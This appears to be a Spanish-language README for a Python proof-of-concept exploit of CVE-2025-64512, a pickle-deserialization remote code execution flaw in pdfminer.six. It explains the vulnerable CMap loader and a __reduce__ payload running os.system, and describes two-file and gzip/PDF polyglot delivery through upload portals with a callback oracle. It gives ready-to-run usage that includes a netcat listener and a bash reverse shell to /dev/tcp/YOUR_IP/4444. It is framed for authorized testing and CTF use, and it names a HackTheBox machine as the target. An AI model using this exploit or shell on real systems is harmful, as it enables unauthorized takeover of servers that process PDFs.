PoC en Python para CVE-2025-64512, un RCE por deserialización de pickle en pdfminer.six. Genera payloads pickle comprimidos con gzip y PDFs políglota, y luego los entrega a portales de carga para pruebas autorizadas.
Python 3, solo stdlib (sin instalaciones de pip). Solo para pruebas de seguridad autorizadas y uso en CTF — eres responsable de cumplir con la ley y las reglas de enfrentamiento de tu encargo.
| CVE | CVE-2025-64512 |
| Afectado | pdfminer.six < 20251107 (corregido en 20251107 — los CMaps pasaron a JSON) |
| Víctimas downstream | markitdown < 0.1.4, pdfplumber < 0.11.8 |
| Tipo | CWE-502 deserialización de datos no confiables → RCE no autenticado |
| PoC de referencia | luigigubello/CVE-2025-64512-Polyglot-PoC (variante polyglot de un solo archivo) |
Objetivo probado: https://app.hackthebox.com/machines/Bedside
pdfminer.six es una biblioteca popular de Python para extraer texto de PDFs. Las fuentes PDF necesitan CMaps — tablas que traducen códigos de caracteres a Unicode — y pdfminer las distribuye como pickles comprimidos con gzip (<name>.pickle.gz) dentro de su propio paquete. Observa cómo se carga un CMap (pdfminer/cmapdb.py, todas las versiones anteriores a 20251107):
@classmethod
def _load_data(cls, name: str) -> Any:
name = name.replace("\0", "") # la ÚNICA sanitización
filename = "%s.pickle.gz" % name # ← el atacante controla `name`
cmap_paths = (
os.environ.get("CMAP_PATH", "/usr/share/pdfminer/"),
os.path.join(os.path.dirname(__file__), "cmap"),
)
for directory in cmap_paths:
path = os.path.join(directory, filename) # ← ¡un name absoluto ignora el directorio!
if os.path.exists(path):
with gzip.open(path) as gzfile:
return type(str(name), (), pickle.loads(gzfile.read())) # ← 💥
Tres fallos se acumulan:
name proviene del propio PDF. La entrada /Encoding de una fuente Type0 (CID) es un nombre PDF, y el atacante lo controla por completo. Los nombres PDF no pueden contener un / sin procesar, así que se escribe con escapes hexadecimales estándar de RFC: el nombre /#2f#76#61#72#2f… se decodifica como /var/….os.path.join. Cuando el segundo argumento es absoluto, el primero se ignora por completo. Así, un nombre como /var/www/site/uploads/shell hace que pdfminer busque en /var/www/site/uploads/shell.pickle.gz — cualquier ruta del disco — en lugar de su propio directorio de CMaps.pickle.loads() sobre el contenido del archivo. Un pickle puede llevar instrucciones de "reconstrúyeme llamando a esta función" (__reduce__). Deserializar bytes del atacante = ejecutar código del atacante, dentro del proceso que haya llamado a pdfminer.Requisitos previos del exploit — el fallo es trivialmente explotable en cualquier aplicación que te dé ambas mitades de la ecuación:
{"__reduce__": eval("__import__('os').system('<tu comando>')")}./Encoding nombra la ruta absoluta de tu pickle.--mode two (por defecto) — sube <name>.pickle.gz y luego <name>.pdf. Úsalo siempre que el objetivo solo analice archivos con extensión PDF (p. ej. un watcher que hace glob de uploads/*.pdf).--mode polyglot — sube un solo archivo <name>.pickle.gz que es tanto un gzip-pickle válido como un PDF válido: todo el PDF se esconde en el campo FCOMMENT de la cabecera gzip (RFC 1952 permite comentarios; la firma %PDF- queda en el byte 10, y los offsets del xref están pre-desplazados para que la tabla siga siendo válida). Úsalo cuando el objetivo analice cualquier archivo subido como PDF independientemente de la extensión (conversores estilo markitdown).--verify), espera el ciclo de procesamiento del objetivo (--wait), y puede anteponer un oráculo de callback (--callback) que llama a casa antes de que se ejecute tu comando — así puedes demostrar la ejecución incluso si tu canal principal falla.Nada que instalar — Python 3.10+ (usa la sintaxis str | None):
chmod +x cve_2025_64512.py
Genera payloads de ejemplo y (si hay un pdfminer vulnerable importable) ejecútalos en tu propio Python para demostrar que la cadena funciona antes de tocar un objetivo:
# apunta el selftest a un checkout/wheel de pdfminer vulnerable (cualquiera < 20251107)
export PDFMINER_PATH=/path/to/pdfminer_package_dir
python3 cve_2025_64512.py --selftest
La salida esperada termina con SELFTEST PASS tanto para el disparador de dos archivos como para el polyglot. También puedes probar manualmente:
python3 cve_2025_64512.py --no-upload --path /tmp --name demo --command 'id > /tmp/pwned'
cp demo.pickle.gz demo-trigger.pdf /tmp/ # colócalo como /tmp/demo.pickle.gz
pdf2txt.py /tmp/demo-trigger.pdf # solo pdfminer vulnerable
cat /tmp/pwned # → tu uid
# 1. inicia un listener para el canal de callback de tu comando
nc -lvnp 4444
# 2. ejecuta el exploit — deja que descubra el directorio de subida por sí mismo
python3 cve_2025_64512.py \
--url http://research.target.htb/ \
--leak-path \
--verify /uploads \
--wait 35 \
--command "bash -c 'exec bash -i &>/dev/tcp/YOUR_IP/4444 <&1'"
Referencia completa de argumentos: